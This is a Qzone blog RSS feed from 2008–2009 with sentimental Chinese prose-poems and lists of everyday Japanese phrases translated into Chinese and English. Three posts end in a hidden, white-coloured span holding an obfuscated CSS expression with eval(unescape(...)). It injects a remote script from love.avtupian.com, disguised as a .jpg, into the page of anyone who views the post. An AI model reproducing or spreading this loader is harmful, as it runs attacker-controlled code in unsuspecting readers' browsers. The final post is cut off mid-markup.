<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="http://feeds.qzone.qq.com/rss.xsl" version="1.0"?>
<rss version="2.0" xmlns:qz="http://qzone.qq.com">
<channel>
<title><![CDATA[Morning！]]></title>
<description><![CDATA[笺寄瑶台_]]></description>
<link>http://383097531.qzone.qq.com</link>
<lastBuildDate>Thu, 26 Nov 2009 16:21:28 GMT</lastBuildDate>
<generator>Qzone</generator>
<language>zh-cn</language>
<copyright>Copyright (C), 2005-2008, Tencent Tech. Co., Ltd.</copyright>
<pubDate>Sat, 04 Apr 2009 08:57:59 GMT</pubDate>

<item>
<title><![CDATA[。。。。。。。。。]]></title>
<link>http://383097531.qzone.qq.com/blog/1238835479</link>
<description><![CDATA[   <br><br>          。。。。。。。 <!--v:3.2--> ]]></description>
<category><![CDATA[眉间心上]]></category>
<author><![CDATA[383097531@qq.com(Morning！)]]></author>
<comments>http://383097531.qzone.qq.com/blog/1238835479#comment</comments>
<qz:effect>134219264</qz:effect>
<pubDate>Sat, 04 Apr 2009 08:57:59 GMT</pubDate>
<guid>http://383097531.qzone.qq.com/blog/1238835479</guid>
</item>

<item>
<title><![CDATA[。。。。。。。。]]></title>
<link>http://383097531.qzone.qq.com/blog/1233235858</link>
<description><![CDATA[<span style="font-weight:bold"><wbr />        <span style="font-size:13px;line-height:1.8em;">孤灯灭      燃尽相思人不知</span><wbr /></span><wbr /> <br><br><span style="font-size:13px;line-height:1.8em;">         凄迷着的流年，从十指滑过，无声无息。是夜，细数心思，又有忧郁，轻听红尘故事，心纠缠，梦成空花，早已荒芜一片。 </span><wbr /><br><br><span style="font-size:13px;line-height:1.8em;">         耳边喃喃细语 ，柔碎了宁静。你的颦你的笑，恍若隔世。<span style="font-family:'黑体';line-height:1.8em;">月如勾，</span><wbr /></span><wbr /><span style="font-size:13px;line-height:1.8em;">渗着微微的寒凉。</span><wbr /> <br>       <br>        <span style="font-size:13px;line-height:1.8em;">淋漓轻蹙的眉梢，落了一地思念，澎湃心扉，弹响了谁的柔肠？</span><wbr /> <br><br><span style="font-size:13px;line-height:1.8em;">         君不在，勿多语，不堪情冷，繁花碎落。</span><wbr /> <br><br><span style="font-size:13px;line-height:1.8em;">         罗帐下，灯的红晕，不知道你的长发，是否依旧为我继续盘着？</span><wbr /> <br><br>        <span style="font-size:13px;line-height:1.8em;">眉心若冰，倦意袭来。 </span><wbr /><span style="color:#FFFFFF;line-height:1.8em;"><wbr />[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[眉间心上]]></category>
<author><![CDATA[383097531@qq.com(Morning！)]]></author>
<comments>http://383097531.qzone.qq.com/blog/1233235858#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Thu, 29 Jan 2009 13:30:58 GMT</pubDate>
<guid>http://383097531.qzone.qq.com/blog/1233235858</guid>
</item>

<item>
<title><![CDATA[。。。。。。。。。]]></title>
<link>http://383097531.qzone.qq.com/blog/1226211614</link>
<description><![CDATA[<a href="http://www.jpschool.net/ShowArticle.asp?ArticleID=290" target="_blank"><span style="font-size:18px;line-height:1.8em;">http://www.jpschool.net/ShowArticle.asp?ArticleID=290</span><wbr /></a><wbr /><br><br><br><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">こんばんは。 <br>晚上好。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">おはようございます。 <br>早上好。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">お休(やす)みなさい。 <br>晚安。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">お元気(げんき)ですか。 <br>您还好吧，相当于英语的“How are you”，一种打招呼的方式。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">いくらですか。 <br>多少钱？</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">すみません。 <br>不好意思，麻烦你…。相当于英语的“Excuse me”。用于向别人开口时。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">ごめんなさい。 <br>对不起。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">どういうことですか。 <br>什么意思呢？</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">まだまだです。 <br>没什么。没什么。（自谦）</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">どうしたの。 <br>どうしたんですか。 <br>发生了什么事啊。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">なんでもない。 <br>没什么事。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">ちょっと待ってください。 <br>请稍等一下。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">約束(やくそく)します。 <br>就这么说定了。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">これでいいですか。 <br>这样可以吗？</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">けっこうです。 <br>もういいです。 <br>不用了。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">どうして。 <br>なぜ <br>为什么啊？</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">いただきます <br>那我开动了。（吃饭动筷子前）</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">ごちそうさまでした。 <br>我吃饱了。（吃完后）</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">ありがとうございます。 <br>谢谢。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">どういたしまして。 <br>别客气。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">本当(ほんとう)ですか。 <br>真的？</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">うれしい。 <br>我好高兴。（女性用语）</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">よし。いくぞ。 <br>好！出发（行动）。 （男性用语）</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">いってきます。 <br>我走了。（离开某地对别人说的话）</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">いってらしゃい。 <br>您好走。（对要离开的人说的话）</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">いらしゃいませ。 <br>欢迎光临。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">じゃ、またね。 <br>では、また。 <br>再见（比较通用的用法）</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">信(しん) じられない。 <br>真令人难以相信。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">どうも。 <br>该词意思模糊。有多谢、不好意思、对不起等多种意思，可以说是个万能词。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">あ、そうだ。 <br>啊，对了。表示突然想起另一个话题或事情。（男性用语居多）</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">えへ？ <br>表示轻微惊讶的感叹语。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">うん、いいわよ。 <br>恩，好的。（女性用语，心跳回忆中藤崎答应约会邀请时说的：））</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">ううん、そうじゃない。 <br>不，不是那样的。（女性用语）</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">がんばってください。 <br>请加油。（日本人临别时多用此语）</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br><br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">ご苦労(くろう) さま。 <br>辛苦了。（用于上级对下级）</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br><span style="font-weight:bold"><wbr />お疲(つか)れさま。</span><wbr /> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">おひさしぶりです。 <br>しばらくですね。 <br>好久不见了。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">きれい。 <br>好漂亮啊。（可用于建筑，装饰品，首饰，画，女性的相貌等等，范围很广）</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">ただいま。 <br>我回来了。（日本人回家到家门口说的话）</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br><br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">おかえり。 <br>您回来啦。（家里人对回家的人的应答）</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br><br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">関係(かんけい) ないでしょう。 <br>这和你没关系吧？（对八卦的人常用的一句话）</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">電話番号(でんわばんごう) を教えてください。 <br>请告诉我您的电话号码。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">たいへん！ <br>不得了啦。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">おじゃまします。 <br>打搅了。到别人的处所时进门时说的话。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">おじゃましました。 <br>打搅了。离开别人的处所时讲的话。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">はじめまして。 <br>初次见面请多关照。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">どうぞよろしくおねがいします。 <br>请多关照。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">いままでおせわになにました。 <br>いままでありがとうございます。 <br>多谢您长久以来的关照。（要离开某地或跳槽时对身边的人说的。）</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">お待たせいたしました。 <br>让您久等了。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">別(べつ)に。 <br>没什么。当别人问你发生了什么事时你又不想告诉对方时候的回答。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">冗談(じょうだん) を言わないでください。 <br>请别开玩笑。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">おねがいします。 <br>拜托了。（如果是跪着时说这句话，那意思就是“求求您了”）</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">そのとおりです。 <br>说的对。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">なるほど。 <br>原来如此啊。</span><wbr /></span><wbr /><span style="font-size:18px;line-height:1.8em;"> <br></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-size:18px;line-height:1.8em;">どうしようかな <br>どうすればいい <br>我该怎么办啊？</span><wbr /></span><wbr /><br><wbr /><a href="http://imgcache.qq.com/ac/b.gif" target="_blank"><img style="border:0;" src="http://imgcache.qq.com/ac/b.gif" /></a><wbr /><span style="color:#FFFFFF;line-height:1.8em;"><wbr />[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[眉间心上]]></category>
<author><![CDATA[383097531@qq.com(Morning！)]]></author>
<comments>http://383097531.qzone.qq.com/blog/1226211614#comment</comments>
<qz:effect>134218241</qz:effect>
<pubDate>Sun, 09 Nov 2008 06:20:14 GMT</pubDate>
<guid>http://383097531.qzone.qq.com/blog/1226211614</guid>
</item>

<item>
<title><![CDATA[。。。。。。。。。]]></title>
<link>http://383097531.qzone.qq.com/blog/1226117734</link>
<description><![CDATA[<span style="font-size:32px;line-height:1.8em;"><span style="font-weight:bold"><wbr />下列语句均为日常用语,如能全部掌握,那么可以轻松地听懂日剧中的不少对话,也能够达到与日本人简单交流的程度。<br><br><br></span><wbr /></span><wbr /><span style="line-height:1.8em;"><span style="font-size:32px;line-height:1.8em;"><span style="font-weight:bold"><wbr />今夜は私が夕飯の支度します。<br>I'll fix dinner tonight.<br>今晚我来做饭。<br></span><wbr /></span><wbr /></span><wbr /><br><span style="line-height:1.8em;"><span style="font-size:32px;line-height:1.8em;"><span style="font-weight:bold"><wbr />どうぞお楽にしてください。<br>Make yourself at home.<br>大家随便点儿。<br><br><br>楽しいホリデーをお迎えください。<br>Have a happy holiday!<br>祝你节日快乐。<br></span><wbr /></span><wbr /></span><wbr /><br><span style="line-height:1.8em;"><span style="font-size:32px;line-height:1.8em;"><span style="font-weight:bold"><wbr />ねえ、ちょっと聞いてよ。<br>You know what,<br>听我说。<br><br><br>あら、大変。<br>My goodness.<br>老天／妈呀…<br><br><br>ついてるぞ！<br>Somebody up there loves me.<br>真好运！<br><br><br>また始まった。<br>Here you go again.<br>又来了！<br><br><br>彼女を連れて帰れ！<br>Take her back ! <br>你带她回去。<br><br><br>彼女は持ち物を全部列車に忘れた。<br>She left all her belongings on the train.<br>她把东西全忘在列车上了。<br><br><br><br>エレベーターが止まった。<br>The elevator stopped.<br>電梯不動了。</span><wbr /></span><wbr /></span><wbr /><br><br><span style="line-height:1.8em;"><span style="font-size:32px;line-height:1.8em;"><span style="font-weight:bold"><wbr />お休みはいつですか。<br>When is your day off?<br>你什么时候休息？<br><br>大きな声でお願いします。<br>Please　speak up .<br>请说得声音大点。<br><br>いくらお持ちですか。<br>How much maney do you have with you?<br>你带了多少钱？<br><br>邪魔するな。<br>D'ont disturb！<br>不要打搅。<br><br>返品したいのですが。<br>I'd like to return this.<br>我想退货。<br><br>どうぞ私を信じて下さい。<br>Believe me ,please .<br>请相信我。<br><br>次の列車はいつ？<br>When does the next train ?<br>下一班列车是几点？<br><br>彼を無理強いしないで。<br>Don’t push him to accept.<br>别勉强他。<br><br>今日の新聞を読みましたか。<br>Have you read today's paper.<br>今天的报纸看了吗？<br><br>正々堂々と勝負しよう。<br>Let's play fair.<br>让我们公平竞争。</span><wbr /></span><wbr /></span><wbr /><br><span style="line-height:1.8em;"><span style="font-size:32px;line-height:1.8em;"><span style="font-weight:bold"><wbr />次の試験にはヤマかけよう。<br>I'll take my chances in the next exam.<br>让我预测一下下次考试。<br><br>なんてむずかしい問題なんだ。<br>Such a tough question!<br>这问题真难。<br><br>このクラスから落第しなければいいんだけどなあ。<br>I hope I don't fail this class.<br>我希望我不会不及格。<br><br>できた! うまくいったあ!<br>I made it!<br>我考得不错。<br><br>期末試験のあとでクリスマスが来るね。<br>Christmas will come after the finals.<br>期末考试结束后就是圣诞节了。<br><br>できないものはできない。<br>I can't do what I can't do. <br>不行就是不行。<br><br>そこを何とかできないかなあ。<br>Isn't there some way you could do it? <br>你能想想什么办法吗？<br><br>だめ、できないものはできないの。 <br>No way, I can't do what I can't do.<br>不行，不行就是不行。<br><br>今夜のパーティー来られる？<br>Are yo going to be at the party tonight?<br>今晚的PARTY你能来吗？<br><br>もちろん！<br>Definitely!<br>当然。<br><br>迷ってる暇なんてないわよ。<br>There's no time to think about it.<br>没时间犹豫了。<br><br>今しかないよ。<br>It's now or never.<br>只有现在了。<br><br>決められないわ。<br>I can't decide!<br>还没法决定。</span><wbr /></span><wbr /></span><wbr /><br><span style="line-height:1.8em;"><span style="font-size:32px;line-height:1.8em;"><span style="font-weight:bold"><wbr />ディナーにお待ちしています。<br>I'll expect you for dinner.<br>等你一起吃晚饭。<br><br>彼のお母さんは彼に期待しすぎよね。<br>His mom is expecting too much of him.<br>他母亲对他的期望太高了。<br><br>それは聞き飽きた。<br>I'm tired of hearing that.<br>这个听够了。<br><br>時間切れだわ。<br>Time is up!<br>时间到了。<br><br>時間かかるだろう。<br>It's gonna' take time.<br>这得花时间。<br><br>何て言ったらいいのかわからない。<br>I don't know what to say.<br>不知道说什么才好。<br><br>俺に言わせれば～<br>What I mean is ～<br>叫我说的话～<br><br>おだいじに。<br>Please take care of yourself.<br>多保重。<br><br>ここにいたのか！<br>Oh! you are here!<br>你原来在这儿。<br><br>駅まで迎えに来てくれる。<br>Will you come to meet me at the station ?<br>你能不能到车站来接我？</span><wbr /></span><wbr /></span><wbr /><br><span style="line-height:1.8em;"><span style="font-size:32px;line-height:1.8em;"><span style="font-weight:bold"><wbr />言ったでしょ！ 斉藤さんに髪の毛の話をしちゃだめだって。<br>I told you before! Don't bring up the subject of hair with Mr. Saito<br>我告诉你了，不要和斎藤提头发的事。<br><br>そうだったわ。<br>That's right, so you did. <br>我想起来了，你跟我说过。<br><br>ごめんなさい。コーヒーを切らしちゃってて、紅茶しかないんだけど。<br>I'm sorry. We're out of coffee and only have tea.<br>真对不起，咖啡没有了，只有红茶。<br><br>それでもいいよ。<br>That will do.<br>红茶也行。<br><br>ジョンてミシェルと付き合ってるって知ってた？<br>Did you know John is going out with Michelle? <br>（你）知道John和Michelle在交往吗？<br><br>冗談でしょう？<br>Are you kidding?<br>真的吗？ </span><wbr /></span><wbr /></span><wbr /><br><span style="line-height:1.8em;"><span style="font-size:32px;line-height:1.8em;"><span style="font-weight:bold"><wbr />そんなことばっかりやってるから、なかなか昇進できないのよ。<br>You`ll probably never get promoted because you`re always doing such stupid things. <br>你老是做这种事，所以不能进步。<br><br>きついなあ。<br>Don`t be so hard on me.<br>你这话可真够受。<br><br>こういう昼飯代って経費で落としちゃっていいんですか？<br>Can we put lunches like this on our expense account?<br>象午饭钱了能报销吗？<br><br><br>時と場合によるよ。<br>It depends on the time and place.<br>不一定。<br><br>トライアスロンに買い物用の自転車で出ようと思うんだ。<br>I think I`ll participate in the triathlon with my old, one-speed bicycle. <br>我想用平时卖东西时用的自行车去参加铁人三项赛。<br><br>変なの。<br>That`s weird.<br>真奇怪。</span><wbr /></span><wbr /></span><wbr /><br><span style="line-height:1.8em;"><span style="font-size:32px;line-height:1.8em;"><span style="font-weight:bold"><wbr />試験の準備なんてぜんぜんしてないよ。別にあせることないよ。<br>I haven't prepared for the test at all, but there's no need to worry.<br>考试的准备我还一点没做，我觉得不用着急。<br><br>のんきだなあ。<br>You look so unconcerned.<br>真悠闲。<br><br>ここで何してんだ？<br>What are you doing here?<br>你在这里干什么？<br><br>ほっといてくれ！<br>Leave me alone.<br>别管我。<br><br>見て！名刺でピラミッドを作ってみたんだ。<br>Look! I made a pyramid with my name cards.<br>你看、我用名片做了个金字塔。7<br><br>暇なやつだ。<br>Don't you have anything better to do?<br>你真闲。</span><wbr /></span><wbr /></span><wbr /><span style="font-size:32px;line-height:1.8em;"><span style="font-weight:bold"><wbr /><wbr /><a href="http://imgcache.qq.com/ac/b.gif" target="_blank"><img style="border:0;" src="http://imgcache.qq.com/ac/b.gif" /></a><wbr /></span><wbr /></span><wbr /><span style="color:#FFFFFF;line-height:1.8em;"><wbr />[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[眉间心上]]></category>
<author><![CDATA[383097531@qq.com(Morning！)]]></author>
<comments>http://383097531.qzone.qq.com/blog/1226117734#comment</comments>
<qz:effect>134218241</qz:effect>
<pubDate>Sat, 08 Nov 2008 04:15:34 GMT</pubDate>
<guid>http://383097531.qzone.qq.com/blog/1226117734</guid>
</item>

<item>
<title><![CDATA[。。。。。。。。。]]></title>
<link>http://383097531.qzone.qq.com/blog/1224428022</link>
<description><![CDATA[<span style="font-size:32px;line-height:1.8em;"><span style="font-size:16px;line-height:1.8em;"><br><span style="font-weight:bold"><wbr /><span style="color:#000000;font-size:32px;line-height:1.8em;">亲爱：    忆共灯前呵手为伊书    不思量  自难忘 </span><wbr /><br><span style="color:#000000;font-size:32px;line-height:1.8em;">      而今：    清泪尽，纸灰起      不许孤眠不断肠</span><wbr /></span><wbr /> <br>              <span style="font-size:24px;line-height:1.8em;"><span style="font-weight:bold"><wbr />冷烟月，落花如梦凄迷 ，汩汩旧影，生生如忆 </span><wbr /></span><wbr /><br><span style="font-size:24px;line-height:1.8em;"><span style="font-weight:bold"><wbr />             夜斑斓，尘埃铺垫，诗残莫续，一片幽情冷处浓 </span><wbr /></span><wbr /><br><span style="font-size:24px;line-height:1.8em;"><span style="font-weight:bold"><wbr />             数归鸦，静看灯火灿烂、繁华如梦，凄凄切切 </span><wbr /></span><wbr /><br><span style="font-size:24px;line-height:1.8em;"><span style="font-weight:bold"><wbr />             秋风起，吹不尽离殇，亭院深深，遍地残花无人知 </span><wbr /></span><wbr /><br><span style="font-weight:bold"><wbr /><span style="font-size:24px;line-height:1.8em;">             夜难眠，徘徊月下，寒意尾随悄无声息</span><wbr /></span><wbr /> <br><br><span style="font-weight:bold"><wbr />              <span style="font-size:24px;line-height:1.8em;">黑的夜，寒意凉，一身伤回到很久前。 </span><wbr /><br><span style="font-size:24px;line-height:1.8em;">              觉得清醒觉得醉，死的心，统统没感觉。 </span><wbr /><br><span style="font-size:24px;line-height:1.8em;">              梦镜泛白，焰心待灭，烟雾缠绕尽 </span><wbr /><br><span style="font-size:24px;line-height:1.8em;">              窗外梧桐，黯淡的落叶，枯萎的生命 </span><wbr /><br><span style="font-size:24px;line-height:1.8em;">              那一季，花落时，踏遍清秋路</span><wbr /></span><wbr /> <br><br><span style="font-weight:bold"><wbr />　</span><wbr /> <br><span style="font-size:24px;line-height:1.8em;"><span style="font-weight:bold"><wbr />     晓风吹残月，而今触绪添新愁，欲罢不能 </span><wbr /></span><wbr /><br><span style="font-size:24px;line-height:1.8em;"><span style="font-weight:bold"><wbr />     谱曲是情愁，曲曲柔肠断心碎, 为赋新词 </span><wbr /></span><wbr /><br><span style="font-size:24px;line-height:1.8em;"><span style="font-weight:bold"><wbr />     冷烟伴寒月，却做了孤寺野僧，木鱼声声 </span><wbr /></span><wbr /><br><br></span><wbr /></span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[咖啡情愫]]></category>
<author><![CDATA[383097531@qq.com(Morning！)]]></author>
<comments>http://383097531.qzone.qq.com/blog/1224428022#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Sun, 19 Oct 2008 14:53:42 GMT</pubDate>
<guid>http://383097531.qzone.qq.com/blog/1224428022</guid>
</item>

<item>
<title><![CDATA[。。。。。。。。。]]></title>
<link>http://383097531.qzone.qq.com/blog/1221198751</link>
<description><![CDATA[<span style="font-weight:bold"><wbr /><span style="color:#008080;font-size:24px;line-height:1.8em;"><wbr /><a href="http://sz2.photo.store.qq.com/http_imgload.cgi?/rurl4_b=bac5ac4042263d8def63b34ad9e5dfdf15f80f9460840b330b4e9f971894728157839e9f30d0e8b20563af83ef7bfbfe28c0480e847901ab723d5c431b2dd140f5e2799f34d7038318597b16079a55a1636b24db" target="_blank"><img style="border:0;" src="http://sz2.photo.store.qq.com/http_imgload.cgi?/rurl4_b=bac5ac4042263d8def63b34ad9e5dfdf15f80f9460840b330b4e9f971894728157839e9f30d0e8b20563af83ef7bfbfe28c0480e847901ab723d5c431b2dd140f5e2799f34d7038318597b16079a55a1636b24db" /></a><wbr /> <br><br></span><wbr /></span><wbr /><br><span style="font-weight:bold"><wbr /><span style="color:#008080;font-size:24px;line-height:1.8em;">    陌上花开，思君不在；金戈铁马，少了红颜。天空依旧晴朗，只是心头阴霾憧憧。十指突兀的轮廓，仿佛看到时光的流年。那身后的季风，吹落了一地的美好年华。幸福，始终不远不近着。窗台上的尘埃依旧铺垫着往事，斑斓着的痕迹，都是不可磨灭的伤痛。听的见的青春，看的见的年华，依旧不染尘埃着，在手心的记忆里默默回荡着，透心入凉，折煞痴人。。。 <br><wbr /><a href="http://sz6.photo.store.qq.com/http_imgload.cgi?/rurl4_b=bac5ac4042263d8def63b34ad9e5dfdfd4f11ba4b8e334925e304e31b91d9328b8af4bbcb6c0c349511c0952ffb25d85b8c12530b486cea0a41acd80c2d0e3181583ee5837f7f84dde73ef94d20131c806ad5447" target="_blank"><img style="border:0;" src="http://sz6.photo.store.qq.com/http_imgload.cgi?/rurl4_b=bac5ac4042263d8def63b34ad9e5dfdfd4f11ba4b8e334925e304e31b91d9328b8af4bbcb6c0c349511c0952ffb25d85b8c12530b486cea0a41acd80c2d0e3181583ee5837f7f84dde73ef94d20131c806ad5447" /></a><wbr /> <br><br><br></span><wbr /></span><wbr /><span style="color:#008080;font-size:24px;line-height:1.8em;"><span style="font-weight:bold"><wbr />                  